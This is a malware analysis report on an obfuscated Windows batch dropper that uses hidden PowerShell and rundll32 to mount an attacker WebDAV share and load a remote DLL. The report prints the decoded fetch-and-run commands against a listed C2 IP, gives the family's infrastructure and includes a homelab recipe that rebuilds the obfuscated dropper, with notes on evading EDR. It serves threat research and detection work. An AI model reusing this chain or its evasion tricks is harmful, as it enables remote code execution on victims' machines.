unclassified-js-webdav-dropper: e777fd64 — Fourth sibling, shared-prefix SET obfuscation, rundll32 variant

Executive Summary

A 2.15 KB Windows batch script (202862872050810311.bat) that uses shared-prefix SET variable expansion obfuscation to hide a WebDAV-based DLL load. Fourth confirmed sibling of the unclassified-js-webdav-dropper family, sharing the 45.9.74.x:8888 infrastructure and net use execution chain. Unlike siblings da58243c (polyglot JScript), ffd5d894 (pure batch, natural-language SET), and e6ebae6a (JScript dictionary lookup), this variant uses a shared-prefix short-suffix pattern (hbutc + 4-char suffix) with single-character values — the same obfuscation dialect as the first sibling da58243c, but with a different prefix and a different execution engine (rundll32 instead of regsvr32). C2: 45.9.74.32:8888 delivering 3682.dll. Static-only — CAPE skipped as unsupported file type.

What It Is

• File: 202862872050810311.bat (2,150 bytes) ^[triage.json]
• Type: ASCII text, Windows CRLF batch script, 3 lines, 50 words ^[file.txt] ^[exiftool.json]
• SHA-256: e777fd64b88a066748001a99e30ed1c4b46d9f8c4cbeee322a78d1fc06e5062f
• ssdeep: 48:mkZ5ibzf/pEcvSRE9iD1vSZW8WEFSZW1Et:k/KDf8Py — tiny file, minimal fuzzy-hash signal ^[ssdeep.txt]
• Family: unclassified-js-webdav-dropper — confirmed fourth sibling. Same WebDAV + system-binary proxy execution chain, same IP range (45.9.74.x), same port (8888), same share (DavWWWRoot). ^[strings.txt:1-3]
• CAPE: Skipped — ASCII text is not a supported binary class ^[dynamic-analysis.md]

How It Works

Layer 1 — SET variable expansion (line 1)

Thirty-six SET assignments on a single line, each sharing the prefix hbutc and a unique 4-character suffix. Every value is a single alphanumeric character: ^[strings.txt:1]

set hbutctbdtn=i && set hbutcriugp=3 && set hbutcvpxhe=c && ... && set hbutcfvowe=u

The variable names (hbutctbdtn, hbutcriugp, hbutcvpxhe, etc.) are meaningless — they serve only to fragment command strings across 36 variables so no single line contains a complete keyword. The prefix is consistent (hbutc), suggesting either a template generator or copy-paste reuse within the actor's tooling.

Layer 2 — %VAR% expansion (lines 2–3)

Three %VAR% expansion lines reassemble the live commands: ^[strings.txt:2-3]

Command breakdown

• color f0 — Sets console colors (white on black), visual noise to imply a legitimate application.
• start wordpad — Opens WordPad as a decoy. Same decoy used in sibling ffd5d894. ^[strings.txt:2]
• start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ — Mounts attacker WebDAV share silently via PowerShell wrapper. Same wrapper pattern as sibling ffd5d894. ^[strings.txt:3]
• rundll32 \\45.9.74.32@8888\davwwwroot\3682.dll,entry — Loads the remote DLL via rundll32.exe, calling the entry export. This is the first observed sibling to use rundll32 instead of regsvr32. ^[strings.txt:3]
• exit — Closes the batch window (implied by end of script).

Decompiled Behavior

Not applicable — this sample is ASCII text, not a PE binary. Ghidra, radare2, and capa do not support script-file analysis. All behavior was recovered via manual SET variable decoding. ^[file.txt] ^[capa.txt] ^[rabin2-info.txt]

C2 Infrastructure

The C2 IP (45.9.74.32) sits in the same 45.9.74.0/24 range as siblings da58243c (45.9.74.13) and ffd5d894 (45.9.74.36), confirming shared hosting or a single actor-controlled VPS subnet. The payload filename (3682.dll) is a short numeric throwaway name, consistent with the family's staging pattern (67.dll, 24013635923706.dll, 30122106810637.dll).

Interesting Tidbits

• Pure batch — no polyglot. Like ffd5d894, this variant is straight batch with no JScript layer. It does not copy itself to %userprofile% — one-shot execution, fewer host artefacts. ^[strings.txt:1-3]
• Shared-prefix obfuscation. The hbutc prefix is identical in structure to the ygfrlo prefix used in sibling da58243c (polyglot JScript variant). Both use a 5-char prefix + 4-char suffix. This is a distinct dialect from the natural-language phrases (ripeguaranteejar) used in ffd5d894. ^[strings.txt:1]
• rundll32 instead of regsvr32. All prior siblings used regsvr32 /s to load the remote DLL. This sample switches to rundll32 ...\3682.dll,entry, specifying an explicit export name. This may be a response to EDR rules that specifically alert on regsvr32 with UNC paths, or it may simply reflect a different payload DLL that exposes a DllRegisterServer entry point under a different name. ^[strings.txt:3]
• PowerShell wrapper. Same as ffd5d894 — powershell.exe -windowstyle hidden wraps the net use command, adding a process hop that may evade rules watching cmd.exe → net.exe directly. ^[strings.txt:3]
• No persistence. No registry Run key, no scheduled task, no startup folder drop. One-shot execution. The payload DLL is loaded in-process by rundll32; no second-stage binary is written to disk. ^[strings.txt:3]
• No anti-analysis. No debugger checks, no VM detection, no sandbox gating, no connectivity checks. The script runs blindly. ^[strings.txt:1-3]
• Tiny file. At 2.15 KB this is the smallest sibling in the family by an order of magnitude (da58243c ~4 KB, e6ebae6a ~8 KB, ffd5d894 ~21 KB). The noise padding in ffd5d894 accounts for most of the size delta; this sample has no dead text at all. ^[triage.json]

How To Mess With It (Homelab Replication)

Goal: Replicate the shared-prefix SET obfuscation pattern and test whether EDR catches rundll32 with a UNC path.

1. Write the batch file:

   @echo off
   set PFXa=c&&set PFXb=o&&set PFXc=l&&set PFXd=o&&set PFXe=r&&set PFXf=f&&set PFXg=0
   %PFXa%%PFXb%%PFXc%%PFXd%%PFXe%%PFXf%%PFXg%
   start wordpad
   start powershell.exe -windowstyle hidden net use \\<lan>@8888\DavWWWRoot\
   rundll32 \\<lan>@8888\DavWWWRoot\test.dll,entry
   

2. Place a benign test DLL on a lab WebDAV server at <lan>:8888 with an entry export.
3. Run on a Windows VM by double-clicking the .bat file.
4. Verify with Process Monitor: cmd.exe → powershell.exe → net.exe → rundll32.exe loading DLL from UNC.
5. Test EDR detection: Does your EDR flag rundll32.exe with a UNC path? Does it flag rundll32 with an explicit export name? Most EDRs do not by default.

Sibling Comparison

The rundll32 switch and the shared-prefix obfuscation reuse are the only novel elements in this sample. Otherwise it is a near-identical build of the family's batch-only execution chain.